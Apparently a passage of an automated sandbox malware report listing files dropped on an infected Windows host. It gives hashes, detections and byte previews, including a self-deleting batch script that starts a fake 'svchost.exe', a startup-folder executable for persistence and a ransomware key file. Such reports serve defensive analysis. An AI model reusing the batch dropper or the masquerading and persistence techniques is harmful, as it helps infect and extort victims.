                                                                                                                                                                                                                                                              SHA-512:B13298CAABC46948B1C0833B08C509B45E174AE12DB9BF78AE379ABCC4618AC5D54C5DD12F6C38ED4ABAA5FA2F9C90EFB2316C15C5D21998410A50DD2004325C
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:{"public_key":"-----BEGIN&#160;PUBLIC&#160;KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAsCSsGh2\/w5fURVaxdVIZ\\no+n77h05J9gEeVURvQLux8TO0pjxrJPsaA\/C20iU6UInb0Cgz7Pl+9ssfAtRj2u5\\nfam3Ss964k4ouLc3wAUUFxazloxduurC7uEb5ig7Ng\/BUhnSZHOLuyfk2o\/FbyKc\\nAYCNO6fLpsEy28YcDtFnUsfaktchfhW8VboZ4rqwvmSJG9t8u+eP7AFMJyrD\/EMy\\ntfTv0f26SFCqzMIkELEZ3g3E955djhuezOwEYfM2eiiVRNCjffxEqciY9+3lcBo8\\n6LxhpQPhf4t\/htpTc4\/xDdf2\/BYy7ghbQIVhLzpx0C1nNNp+j4yJOotT+1XJo1QG\\n3wIDAQAB\\n-----END&#160;PUBLIC&#160;KEY-----\\n","id":"8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw"}

                                                                                                                                                                                                                                                              C:\Users\user\AppData\Local\Temp\3EE1.exe

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Windows\explorer.exe
                                                                                                                                                                                                                                                              File Type:PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):975112
                                                                                                                                                                                                                                                              Entropy (8bit):7.756970189117349
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:12288:DdbkfRTBFnDOyMEktt7LuR6CsjKHL8sQ4OaiQJW+nDSHZx1ZK97wJDgwkxTUkMvW:52ZDnyyMtLUhwKrkgo+nD8Z/3DCTUpoB
                                                                                                                                                                                                                                                              MD5:422A9C5CFA6370C93A4BD5DB29C3D196
                                                                                                                                                                                                                                                              SHA1:CAAF89E601FDE4BC9DBE3C0EDDA8E7EFA5062E17
                                                                                                                                                                                                                                                              SHA-256:82311D6280999D5C9D368377E30B8F55ABE2A3D7D98F8C074F6E40C5BE7CD965
                                                                                                                                                                                                                                                              SHA-512:2CAF014595F65CAA26BD7C8396F981EE452EF01FDF35DDE3E9E2E950855F564E97026F71C52B9A49526F9BCA68D4F5C6D4BC9BA51D4B8330E38E4B4B84214E96
                                                                                                                                                                                                                                                              Malicious:true
                                                                                                                                                                                                                                                              Antivirus:
                                                                                                                                                                                                                                                              • Antivirus: Avira, Detection: 100%
                                                                                                                                                                                                                                                              • Antivirus: Joe Sandbox ML, Detection: 100%
                                                                                                                                                                                                                                                              Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......e................................. ........@.. ....................... ............`.................................X...L.......n................'........................................................................... ..H............text........ ...................... ..`.rsrc...n...........................@..@.reloc..............................@..B................H.......H...............t!............................................."..(....*....0..............>(...(......]:....(.....(.....(....8....(....(.....o....o...............8......X...X...1.(..........8........Z.....X.....1......(.....r...p(..........o....&*.........(....*..(....*.~....:....r...p.....(....o....s.........~....*..~....*........*j(....rQ..p~....o....t....*...............lSystem.Resources.ResourceReader, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c5

                                                                                                                                                                                                                                                              C:\Users\user\AppData\Local\Temp\78E8.exe

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Windows\explorer.exe
                                                                                                                                                                                                                                                              File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):4747504
                                                                                                                                                                                                                                                              Entropy (8bit):6.963983879274705
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:98304:27Mp2Rd94o1X4aPvJNhh/lSu8eP7NUSWa1Q:642Rd95eqVh9/VWai
                                                                                                                                                                                                                                                              MD5:B7BEE15549F9A66F9596D59EC90D6934
                                                                                                                                                                                                                                                              SHA1:9D574B18A22601992328E3DAB46C471EADAEF536
                                                                                                                                                                                                                                                              SHA-256:8A1F0954EF7B25ED4F3D26BB07345D98D492EB4088675BD8C754C9B04BC72993
                                                                                                                                                                                                                                                              SHA-512:2E72E3E7EA821285D834CA7E9C96B8CDB5287E385370EEFF0EB764D9AC4905C711668BFBD126BD23B3E3F80BCDCC2EF19BC6665F5999D9E0DB39139844C86F47
                                                                                                                                                                                                                                                              Malicious:true
                                                                                                                                                                                                                                                              Preview:MZ......................@...................................H...........!..L.!This program cannot be run in DOS mode....$.......BZ.`.;.3.;.3.;.3..M3.;.3..O3.;.3..N3.;.3..l3.;.3.EA3.;.3.E.2.;.3.E.2.;.3..w3.;.3.;.3.;.3.R.2.9.3.D.2<;.3.E.2c;.3..r3.;.3.;.3.9.3.D.2.;.3.D.2.;.3.D.2.;.3.DC3.;.3.D.2.;.3Rich.;.3........................PE..L......e...............$../.........p........./...@...........................H.......A...@...........................:. ... .:.<.....;.\............NH.."....>..,....:.T.....................:......"0.@............./.......:.@....................text...../......./................. ..`.rdata......../......./.............@..@.data........ ;..L....;.............@....didat........;......T;.............@....rsrc...\.....;......Z;.............@..@................................................................................................................................................................................................................................

                                                                                                                                                                                                                                                              C:\Users\user\AppData\Local\Temp\84F5.exe

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Windows\explorer.exe
                                                                                                                                                                                                                                                              File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):6274240
                                                                                                                                                                                                                                                              Entropy (8bit):7.975471779524561
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:98304:luEqDCBNZBMoC5QnwpByzJYdahsJSktiFB3nCh3UUcRvbL6wXKhVEHsRMYC+dR/o:lwC7MRpY1Y3JKFVCh36L6vIpYC+dl4l
                                                                                                                                                                                                                                                              MD5:95E59305AD61119CF15EE95562BD05BA
                                                                                                                                                                                                                                                              SHA1:0F0059CDA9609C46105CF022F609C407F3718E04
                                                                                                                                                                                                                                                              SHA-256:DD87F94C961B9612BBD65761BEE6ED15318D63652F262E2C425BD177A2341A19
                                                                                                                                                                                                                                                              SHA-512:5FBCFE79162460080E0C3944DF747835F0B8F2CDB35B038EB69EADF2EB85A209F7D5432A328D0F0EEAFBA036012F48793E3C08D94531B98A12A498BCF3B00AD2
                                                                                                                                                                                                                                                              Malicious:true
                                                                                                                                                                                                                                                              Antivirus:
                                                                                                                                                                                                                                                              • Antivirus: ReversingLabs, Detection: 67%
                                                                                                                                                                                                                                                              Preview:MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L......e.................n...........A............@..................................._...@.................................$.m......................_.........`.....................................................U..............................text....m.......................... ..`.rdata...?..........................@..@.data...T...........................@....ptt..............................`..`.ptt.......@ .....................`..`...[.....P>..................... ..`...[......U.....................@......[..\...V...\................. ..`.reloc..`.............\.............@..@.rsrc................\.............@..@........................................................................................................................................................................................................................................

                                                                                                                                                                                                                                                              C:\Users\user\AppData\Local\Temp\BA7B.exe

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Windows\explorer.exe
                                                                                                                                                                                                                                                              File Type:PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):70504
                                                                                                                                                                                                                                                              Entropy (8bit):6.065599378276366
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:1536:wh+EWewjN1pP1H/hhWIJ5gZEMTOZTpqI0lI3eiQ:w7MZP1f9J5gZuTQI0lIuR
                                                                                                                                                                                                                                                              MD5:CD2B5A09EFDAC0FFBD76111F44733138
                                                                                                                                                                                                                                                              SHA1:6DB6BC9DBA96632213D1077155725F388237E268
                                                                                                                                                                                                                                                              SHA-256:1C6B4FADF6A74E1DFACD17468BDB0743EC21A1BDF3FCD4C3F58BF727EFB1C74C
                                                                                                                                                                                                                                                              SHA-512:16FA87494BAA4D65BD170D346EFE082B998689D0C3488CEC764170F5C0E63A7A4AD2FC51F18AA710AA8BCA1ED84AF99965BAAE692A81CEAD192CFA63AA37C714
                                                                                                                                                                                                                                                              Malicious:true
                                                                                                                                                                                                                                                              Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....K..........."...0.F...........@.... ... ....@.. .......................`......hD....`.................................4...J.... ..(...............h....@......~...8............................................ ............... ..H............text...F.... ...................... ..`.rsrc...(.... ......................@..@.reloc.......@......................@..@................d.......H........c..n....... ...|...............................................Z...C...X...V...A...L...R...E...Y...............-...J...F~.....o....o....*F~.....o....o....*..s....*Vs*........s*........*^..}.....(+......(.....*..*..*^..}.....(+......(.....*^..}.....(+......(.....*^..}.....(+......(.....*^..}.....(+......(.....*R.r_..p(B...&.(C....*j.(D.....(E....s....(F....*B..|*.....(H....*F.|*...~....(J...*N.(N...~.....oO....*N.(N...~.....oP....*F.|*...~....(J...*F.|*...~....(J...*&

                                                                                                                                                                                                                                                              C:\Users\user\AppData\Local\Temp\BDBB.exe

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Windows\explorer.exe
                                                                                                                                                                                                                                                              File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):174592
                                                                                                                                                                                                                                                              Entropy (8bit):6.83656517908329
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:3072:lLWPQWxrjDjU6G+JLfeEXcUesyx0RcAJ+qVeYg:lLWPvjU6TFhXBes/c
                                                                                                                                                                                                                                                              MD5:69D761D941E1A7A4721E267E91167B3A
                                                                                                                                                                                                                                                              SHA1:7E83135738BDD132A8C9DA031B4794852CFC9F8B
                                                                                                                                                                                                                                                              SHA-256:C6D317E1EB756B3577414068AC20FC445921F4EDD86BEF21DBAB2D89920E4649
                                                                                                                                                                                                                                                              SHA-512:4CCFE22C2A726F10E4956383FB12371CC07BE797707AC6B5DBA1A14A5B798C24503BD4F29302C525240DFFD0A3F1D3775FF575A2FDDB4443DF974D1DE5CE1295
                                                                                                                                                                                                                                                              Malicious:true
                                                                                                                                                                                                                                                              Antivirus:
                                                                                                                                                                                                                                                              • Antivirus: ReversingLabs, Detection: 29%
                                                                                                                                                                                                                                                              Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..................F.....s.....G.....~..........B.....w.....p....Rich...................PE..L...k.ad.................&...4{..............@....@..........................p}............................................$h..<....P}.0...................................................Xe.......................@...............................text....%.......&.................. ..`.rdata...1...@...2...*..............@..@.data.....z..........\..............@....vakeg..|.....}......z..............@....tls......... }......|..............@....fig.........0}.....................@..@.fatixa......@}.....................@....rsrc...0....P}.....................@..@........................................................................................................................................................................................................

                                                                                                                                                                                                                                                              C:\Users\user\AppData\Local\Temp\E5F3.exe

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Windows\explorer.exe
                                                                                                                                                                                                                                                              File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):664576
                                                                                                                                                                                                                                                              Entropy (8bit):7.703204792080966
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:12288:8iKjrHyexBctDvHT5JKxdhlJdMF0GXMHnWI0XSIHEPRMzoAgxAWaxL6:a0tTHTKb3+XuWIaSIHqRpxi6
                                                                                                                                                                                                                                                              MD5:35FFEFA212414C2538DF410E5AD3AFA7
                                                                                                                                                                                                                                                              SHA1:E7721FBB85E400C74C7F4DE95F1C27B6318CAABD
                                                                                                                                                                                                                                                              SHA-256:9217999518147C602F16ED7D80C9B95DEC621F442192CE49192736A27E73847F
                                                                                                                                                                                                                                                              SHA-512:7BF9FFE99588A1E6E01A6C84FEE7BD998B337653C908E33D3C10F1AA9ABC7AF925CA9D86A884099824133947614AA070181C973B220163DD99DDE87765152A25
                                                                                                                                                                                                                                                              Malicious:true
                                                                                                                                                                                                                                                              Antivirus:
                                                                                                                                                                                                                                                              • Antivirus: ReversingLabs, Detection: 88%
                                                                                                                                                                                                                                                              Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...............................................................................................................PE..L....y.d.....................>......>&............@..................................0......................................|9..d.......H............................................................2..@............................................text............................... ..`.rdata...R.......T..................@..@.data...(%...P...R..................@....rsrc...H...........................@..@........................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                                              C:\Users\user\AppData\Local\Temp\EE23.exe

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Windows\explorer.exe
                                                                                                                                                                                                                                                              File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):715776
                                                                                                                                                                                                                                                              Entropy (8bit):7.855045809490828
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:12288:D29fyjQ/D4x+uzfplovThDvBw/GFRWDcqrXuMNHaJVU5:4yj4ZuzfplEJRIxrNYVU5
                                                                                                                                                                                                                                                              MD5:A2B38EDE1742205C46B74CE044287FB9
                                                                                                                                                                                                                                                              SHA1:8415A9AB51551583F3ACE6916816C4474A2FFB9B
                                                                                                                                                                                                                                                              SHA-256:324A8068A203D94F77EB773E1491CA27FD52B5A2B5B220F50D3A9B86F9D69965
                                                                                                                                                                                                                                                              SHA-512:9FB2D5C030BEDCB71132DB3C019FDF7131826E48CB4C64D779BD2E853AB110D8FD384E3ED07946EE8BD055C880E17510488B6EDC68421A99A76BFD57872694D4
                                                                                                                                                                                                                                                              Malicious:true
                                                                                                                                                                                                                                                              Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..................F.....s.....G.....~..........B.....w.....p....Rich...................PE..L...E..c.................h...4{...................@..................................u......................................$...<.......0...................................................X...........@............................................text...rg.......h.................. ..`.rdata...1.......2...l..............@..@.data.....z.........................@....cem....|....P......................@....tls.........`......................@....yonisu......p......................@..@.falelu.............................@....rsrc...0...........................@..@........................................................................................................................................................................................................

                                                                                                                                                                                                                                                              C:\Users\user\AppData\Local\Temp\tmpA28E.tmp.bat

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\BA7B.exe
                                                                                                                                                                                                                                                              File Type:DOS batch file, ASCII text, with CRLF line terminators
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):153
                                                                                                                                                                                                                                                              Entropy (8bit):5.028023400894919
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:3:mKDDCMNqTtvL5oUkh4EaKC5ZACSmqRDUkh4E2J5xAInTRIOXdOaLHVZPy:hWKqTtT69aZ5Omq1923fTvYaLHVk
                                                                                                                                                                                                                                                              MD5:A5E12C96880CFE0F0A2CB0E656E941F5
                                                                                                                                                                                                                                                              SHA1:8233A47AADE6BA6565A32B508AB1A8067C4BC4CD
                                                                                                                                                                                                                                                              SHA-256:BE2C038B308DC2BA0454A248C34E80759CB2108CF91A3D6F75556475E9EAFA9C
                                                                                                                                                                                                                                                              SHA-512:129A42EDD4CB8C00927ABE4C6C7894E47A0E190DE1DF3F38E967A32319E892BAB3C91615B90CD806431DEEE40B1CFEA668778E245A4BCD58423D00C3D6C3E638
                                                                                                                                                                                                                                                              Malicious:true
                                                                                                                                                                                                                                                              Preview:@echo off..timeout 3 > NUL..START "" "C:\Users\user\AppData\Roaming\svchost.exe"..CD C:\Users\user\AppData\Local\Temp\..DEL "tmpA28E.tmp.bat" /f /q..

                                                                                                                                                                                                                                                              C:\Users\user\AppData\Local\bowsakkdestx.txt

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:JSON data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):562
                                                                                                                                                                                                                                                              Entropy (8bit):5.997111511329107
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:12:YGJ68u47eaPc/p8j/i/+6STG/n4Ay47oj3UJbwhpJVj55SQ9:YgJJ79U8j/p6SC/nsjU2/P9B9
                                                                                                                                                                                                                                                              MD5:E4ABA3F5C157044C804921AF0464C768
                                                                                                                                                                                                                                                              SHA1:50B0356D3FDCC4905E740DCE460FA1BE7FB11F71
                                                                                                                                                                                                                                                              SHA-256:7130C8AF42751E9D6BC59E29511F32DD47EDD302DB3FD10FDFFD4982BA8CE808
                                                                                                                                                                                                                                                              SHA-512:B13298CAABC46948B1C0833B08C509B45E174AE12DB9BF78AE379ABCC4618AC5D54C5DD12F6C38ED4ABAA5FA2F9C90EFB2316C15C5D21998410A50DD2004325C
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:{"public_key":"-----BEGIN&#160;PUBLIC&#160;KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAsCSsGh2\/w5fURVaxdVIZ\\no+n77h05J9gEeVURvQLux8TO0pjxrJPsaA\/C20iU6UInb0Cgz7Pl+9ssfAtRj2u5\\nfam3Ss964k4ouLc3wAUUFxazloxduurC7uEb5ig7Ng\/BUhnSZHOLuyfk2o\/FbyKc\\nAYCNO6fLpsEy28YcDtFnUsfaktchfhW8VboZ4rqwvmSJG9t8u+eP7AFMJyrD\/EMy\\ntfTv0f26SFCqzMIkELEZ3g3E955djhuezOwEYfM2eiiVRNCjffxEqciY9+3lcBo8\\n6LxhpQPhf4t\/htpTc4\/xDdf2\/BYy7ghbQIVhLzpx0C1nNNp+j4yJOotT+1XJo1QG\\n3wIDAQAB\\n-----END&#160;PUBLIC&#160;KEY-----\\n","id":"8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw"}

                                                                                                                                                                                                                                                              C:\Users\user\AppData\Local\e67ac349-4489-4d00-b370-e055cce7f968\build2.exe

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):340480
                                                                                                                                                                                                                                                              Entropy (8bit):6.5595563332673175
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:3072:PDmBL+up2mGJi9SU8XI3G9OIlaOwXMXze+Jpm9Bn0HNvS2iX3Ly9w5qiIiIf:rILgmiBUmUI4XcXK+mLn0HhrikiIi
                                                                                                                                                                                                                                                              MD5:A0CC1241AA4803DC23FF778AF73E3768
                                                                                                                                                                                                                                                              SHA1:75D07C8F1784E8E64E7520C2666BC63C2A477FFA
                                                                                                                                                                                                                                                              SHA-256:C0B12BBDCB41F6941D4356309FD8A43F61CBFD18EEE044FF1771CBDBBA248466
                                                                                                                                                                                                                                                              SHA-512:3CCB46ECA07827F5C86B31DA5F7AB1B4A4B80F0CF3C1F8245C9EA57CF7C2244BC5F867A09696CE1C80CCE38C631C7F6A13DCA537B8E4B297735324F52CABB755
                                                                                                                                                                                                                                                              Malicious:true
                                                                                                                                                                                                                                                              Antivirus:
                                                                                                                                                                                                                                                              • Antivirus: ReversingLabs, Detection: 73%
                                                                                                                                                                                                                                                              Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......................................................................................................PE..L...zJ.d.....................L.......%............@..........................0.............................................lC..d.......v...........................................................(<..@............................................text............................... ..`.rdata...\.......^..................@..@.data...d%...P...R...6..............@....rsrc...v...........................@..@................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\qemu-ga.exe

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\E5F3.exe
                                                                                                                                                                                                                                                              File Type:PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):4608
                                                                                                                                                                                                                                                              Entropy (8bit):3.790557976647158
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:48:68kM4rRDxNMk+wwnikZsFtRvlm4MI9BFipfbNtm:8vVDB+wwn0/MvzNt
                                                                                                                                                                                                                                                              MD5:A5CE3ABA68BDB438E98B1D0C70A3D95C
                                                                                                                                                                                                                                                              SHA1:013F5AA9057BF0B3C0C24824DE9D075434501354
                                                                                                                                                                                                                                                              SHA-256:9B860BE98A046EA97A7F67B006E0B1BC9AB7731DD2A0F3A9FD3D710F6C43278A
                                                                                                                                                                                                                                                              SHA-512:7446F1256873B51A59B9D2D3498CEF5A41DBCE55864C2A5FB8CB7D25F7D6E6D8EA249D551A45B75D99B1AD0D6FB4B5E4544E5CA77BCD627717D6598B5F566A79
                                                                                                                                                                                                                                                              Malicious:true
                                                                                                                                                                                                                                                              Antivirus:
                                                                                                                                                                                                                                                              • Antivirus: ReversingLabs, Detection: 35%
                                                                                                                                                                                                                                                              Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....\..........."...0.............b&... ...@....@.. ....................................@..................................&..O....@.......................`.......%............................................... ............... ..H............text...h.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B................D&......H.......l ..............................................................J ....(....(....&+...(....*.BSJB............v4.0.30319......l.......#~..0...`...#Strings............#US.........#GUID...........#Blob...........G..........3......................................................%...l.%...3.....E.....[.................S...........8.....r.....G.................Y...........".........................=.....P ........,...c ................T...................).....1.....9.....A.

                                                                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\svchost.exe

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\BA7B.exe
                                                                                                                                                                                                                                                              File Type:PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):70504
                                                                                                                                                                                                                                                              Entropy (8bit):6.065599378276366
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:1536:wh+EWewjN1pP1H/hhWIJ5gZEMTOZTpqI0lI3eiQ:w7MZP1f9J5gZuTQI0lIuR
                                                                                                                                                                                                                                                              MD5:CD2B5A09EFDAC0FFBD76111F44733138
                                                                                                                                                                                                                                                              SHA1:6DB6BC9DBA96632213D1077155725F388237E268
                                                                                                                                                                                                                                                              SHA-256:1C6B4FADF6A74E1DFACD17468BDB0743EC21A1BDF3FCD4C3F58BF727EFB1C74C
                                                                                                                                                                                                                                                              SHA-512:16FA87494BAA4D65BD170D346EFE082B998689D0C3488CEC764170F5C0E63A7A4AD2FC51F18AA710AA8BCA1ED84AF99965BAAE692A81CEAD192CFA63AA37C714
                                                                                                                                                                                                                                                              Malicious:true
                                                                                                                                                                                                                                                              Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....K..........."...0.F...........@.... ... ....@.. .......................`......hD....`.................................4...J.... ..(...............h....@......~...8............................................ ............... ..H............text...F.... ...................... ..`.rsrc...(.... ......................@..@.reloc.......@......................@..@................d.......H........c..n....... ...|...............................................Z...C...X...V...A...L...R...E...Y...............-...J...F~.....o....o....*F~.....o....o....*..s....*Vs*........s*........*^..}.....(+......(.....*..*..*^..}.....(+......(.....*^..}.....(+......(.....*^..}.....(+......(.....*^..}.....(+......(.....*R.r_..p(B...&.(C....*j.(D.....(E....s....(F....*B..|*.....(H....*F.|*...~....(J...*N.(N...~.....oO....*N.(N...~.....oP....*F.|*...~....(J...*F.|*...~....(J...*&

                                                                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\ubrawdb

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Windows\explorer.exe
                                                                                                                                                                                                                                                              File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):174592
                                                                                                                                                                                                                                                              Entropy (8bit):6.83656517908329
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:3072:lLWPQWxrjDjU6G+JLfeEXcUesyx0RcAJ+qVeYg:lLWPvjU6TFhXBes/c
                                                                                                                                                                                                                                                              MD5:69D761D941E1A7A4721E267E91167B3A
                                                                                                                                                                                                                                                              SHA1:7E83135738BDD132A8C9DA031B4794852CFC9F8B
                                                                                                                                                                                                                                                              SHA-256:C6D317E1EB756B3577414068AC20FC445921F4EDD86BEF21DBAB2D89920E4649
                                                                                                                                                                                                                                                              SHA-512:4CCFE22C2A726F10E4956383FB12371CC07BE797707AC6B5DBA1A14A5B798C24503BD4F29302C525240DFFD0A3F1D3775FF575A2FDDB4443DF974D1DE5CE1295
                                                                                                                                                                                                                                                              Malicious:true
                                                                                                                                                                                                                                                              Antivirus:
                                                                                                                                                                                                                                                              • Antivirus: ReversingLabs, Detection: 29%
                                                                                                                                                                                                                                                              Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..................F.....s.....G.....~..........B.....w.....p....Rich...................PE..L...k.ad.................&...4{..............@....@..........................p}............................................$h..<....P}.0...................................................Xe.......................@...............................text....%.......&.................. ..`.rdata...1...@...2...*..............@..@.data.....z..........\..............@....vakeg..|.....}......z..............@....tls......... }......|..............@....fig.........0}.....................@..@.fatixa......@}.....................@....rsrc...0....P}.....................@..@........................................................................................................................................................................................................

                                                                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\ubrawdb:Zone.Identifier

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Windows\explorer.exe
                                                                                                                                                                                                                                                              File Type:ASCII text, with CRLF line terminators
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):26
                                                                                                                                                                                                                                                              Entropy (8bit):3.95006375643621
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:3:ggPYV:rPYV
                                                                                                                                                                                                                                                              MD5:187F488E27DB4AF347237FE461A079AD
                                                                                                                                                                                                                                                              SHA1:6693BA299EC1881249D59262276A0D2CB21F8E64
                                                                                                                                                                                                                                                              SHA-256:255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
                                                                                                                                                                                                                                                              SHA-512:89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
                                                                                                                                                                                                                                                              Malicious:true
                                                                                                                                                                                                                                                              Preview:[ZoneTransfer]....ZoneId=0

                                                                                                                                                                                                                                                              C:\Users\user\Desktop\BNAGMGSPLO.xlsx

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.845331630438051
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:B898W+jnbZRAay0lqha4go1lEUYLedyEDlXziLZvJlOSPsfHysbD:B8WyGln4gECUYLAtzqllPsfymD
                                                                                                                                                                                                                                                              MD5:B2198DAB8D7A58CF6EDB692842E4B97A
                                                                                                                                                                                                                                                              SHA1:DB08290C63CBFCD6A4B9031960727C2E00E6F555
                                                                                                                                                                                                                                                              SHA-256:D6E3B9687F7FFFA22C722A77117210C3E45DCA125A6B652BAB157CC5A37C0DC0
                                                                                                                                                                                                                                                              SHA-512:AAD18D7FB3181F8F15C0B3D9E1FD1639116EA915D702B9C7C6341DDA27484C95E134D5938B1C1CB64AC44596A1649EA961145EE7284CEFD310C3CF42304F79FF
                                                                                                                                                                                                                                                              Malicious:false
